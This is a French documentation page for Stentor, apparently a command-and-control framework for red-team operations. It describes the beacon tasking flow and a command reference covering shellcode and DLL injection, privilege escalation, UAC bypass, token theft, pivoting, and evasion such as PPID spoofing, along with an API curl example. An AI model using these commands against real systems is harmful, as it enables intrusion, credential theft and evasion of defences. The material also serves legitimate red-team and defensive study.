Aller au contenu

Commandes de beacon

Stentor fournit plus de 120 commandes de beacon organisées en 7 catégories. Les commandes sont exécutées via la console opérateur (cockpit shell) ou par programme via l'API REST. Chaque commande suit le même flux d'exécution : les entrées de l'opérateur sont analysées par le backend, traduites en tâche, mises en file d'attente pour le beacon, transmises via le relais et exécutées sur la cible.


Flux de commandes

sequenceDiagram
    participant Op as Operator
    participant BE as Backend
    participant TQ as Task Queue
    participant RL as Relay
    participant BC as Beacon
    participant Mod as Module

    Op->>BE: Shell command or API call
    BE->>TQ: Parse & enqueue task
    Note over TQ: Task waits for<br>beacon poll
    BC->>RL: Check-in (poll for tasks)
    RL->>TQ: Fetch pending tasks
    TQ-->>RL: Return task(s)
    RL-->>BC: Deliver task(s)
    BC->>Mod: Execute module
    Mod-->>BC: Return result
    BC->>RL: Submit result on next check-in
    RL->>BE: Forward result
    BE-->>Op: Display in console / API response

Les commandes sont asynchrones : l'opérateur reçoit immédiatement un ID de tâche et les résultats arrivent lors de l'enregistrement suivant du beacon. Utilisez checkin pour forcer un cycle d'interrogation immédiat.


Sections

Section Commandes Description
Opérations sur les fichiers 12 Charger, télécharger, répertorier, copier, déplacer, supprimer et lire des fichiers sur le système de fichiers cible
Gestion des processus 15+ Répertorier, générer, injecter, tuer et manipuler des processus et des jetons
Réseau 8 Analyse de port, proxy SOCKS, redirection de port, pivotement et VPN secret
Évasion 15+ Masquage du sommeil, usurpation d'identité PPID, blockdll, méthodes d'appel système et BeaconGate
Presse-papiers 3 Lecture instantanée du presse-papiers et surveillance continue des modifications du presse-papiers
Magasin de jetons 10+ Gestion persistante des jetons, voler/stocker/changer/supprimer entre les identités
Navigateur LDAP 3 Exécutez des requêtes LDAP via des beacons avec des modèles de reconnaissance AD prédéfinis
Exécution BOF 5 Téléchargez, gérez et exécutez des fichiers d'objet Beacon avec le packaging d'arguments tapés
Gestion des sessions 15 Sessions d'apparition, liaison P2P, configuration des beacons et stratégies de sortie
Regroupement des beacons -- Creer des groupes nommes, assigner des beacons, sauvegarder des prereglages de filtres, executer des operations par lot sur les groupes

Référence rapide

Les commandes les plus couramment utilisées dans toutes les catégories. Pour la syntaxe complète et des exemples, consultez chaque page de section.

Opérations sur les fichiers

Commande Syntaxe Description
shell shell <command> Exécuter une commande via cmd.exe /c
upload upload <local_path> [remote_path] Télécharger un fichier vers la cible
download download <remote_path> Télécharger un fichier depuis la cible
ls ls [path] Lister le contenu du répertoire
rm rm <path> Supprimer un fichier
cp cp <src> <dst> Copier un fichier
mv mv <src> <dst> Déplacer/renommer un fichier
mkdir mkdir <path> Créer un répertoire
drives drives Liste des lecteurs disponibles

Gestion des processus

Commande Syntaxe Description
ps ps Liste des processus en cours d'exécution
execute-assembly execute-assembly <path> [args] Exécuter un assembly .NET en mémoire
shinject shinject <pid> <arch> <shellcode_path> Injecter du shellcode brut dans un processus
dllinject dllinject <pid> <dll_path> Injecter une DLL dans un processus via un chargement réfléchissant
shspawn shspawn <arch> <shellcode_path> Générer un processus sacrificiel et injecter du shellcode
getsystem getsystem [technique] Élever vers SYSTEM via l'usurpation d'identité de canal nommé
elevate elevate <technique> <listener> Contournement de l'UAC pour générer un beacon surélevée
getprivs getprivs Répertorier les privilèges de processus actuels
runas runas <DOMAIN\user> <password> <command> Exécuter une commande en tant qu'autre utilisateur

Réseau

Commande Syntaxe Description
socks socks <port> Démarrer un proxy SOCKS4a/5
rportfwd rportfwd <bind_port> <fwd_host> <fwd_port> Inverser le port vers l'avant
rportfwd_local rportfwd_local <bind_port> <fwd_host> <fwd_port> Port inverse avant (relais local)
covertvpn covertvpn <interface> <ip/mask> Créez un tunnel VPN secret
browserpivot browserpivot <pid> <arch> Pivot du navigateur via injection de proxy
portscan portscan <targets> <ports> <method> Analyser les ports sur les hôtes cibles

Évasion

Commande Syntaxe Description
sleep sleep <seconds> [jitter%] Définir l'intervalle de rappel du beacon
mode mode <dns\|DNS6\|DNS-txt> Changer le mode du canal de données DNS
spawnto spawnto <x86\|x64> <chemin> Définir un processus sacrificiel pour l’après-ex
blockdlls blockdlls <démarrer\|arrêter> Bloquer les DLL non Microsoft dans les processus enfants
ppid ppid <pid> Définir le PID parent pour l'usurpation d'identité

Gestion des sessions

Commande Syntaxe Description
spawn spawn [x86\|x64] <listener> Générer une nouvelle session de beacon
spawnas spawnas <DOMAIN\user> <password> <listener> Générer un beacon en tant qu'autre utilisateur
inject inject <pid> <x86\|x64> <listener> Injecter un beacon dans le processus existant
link link <host> [pipe_name] Lien vers le beacon de canal nommée SMB
connect connect <host> <port> Se connecter au beacon de liaison TCP
unlink unlink <child_beacon_id> Déconnecter un beacon enfant liée
note note <text> Ajouter une étiquette à la session de beacon
exit exit Terminer le processus de beacon

Utilisation de l'API

Toutes les commandes de beacon peuvent être invoquées par programme via l'API REST :

POST /api/v1/cockpit/beacons/:id/shell

Corps de la demande :

{
  "command": "shell whoami",
  "confirmed": true
}

Le champ confirmed reconnaît les commandes potentiellement destructrices (par exemple, exit, clear, injection de processus). L'API renvoie immédiatement un ID de tâche ; interrogez les résultats via WebSocket ou le point de terminaison des résultats de la tâche.

Exemple :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "ps", "confirmed": true}'

Pour les points de terminaison REST dédiés (bascules de mise en veille, de sortie et d'évasion), consultez les pages de commande individuelles et la section Référence de l'API.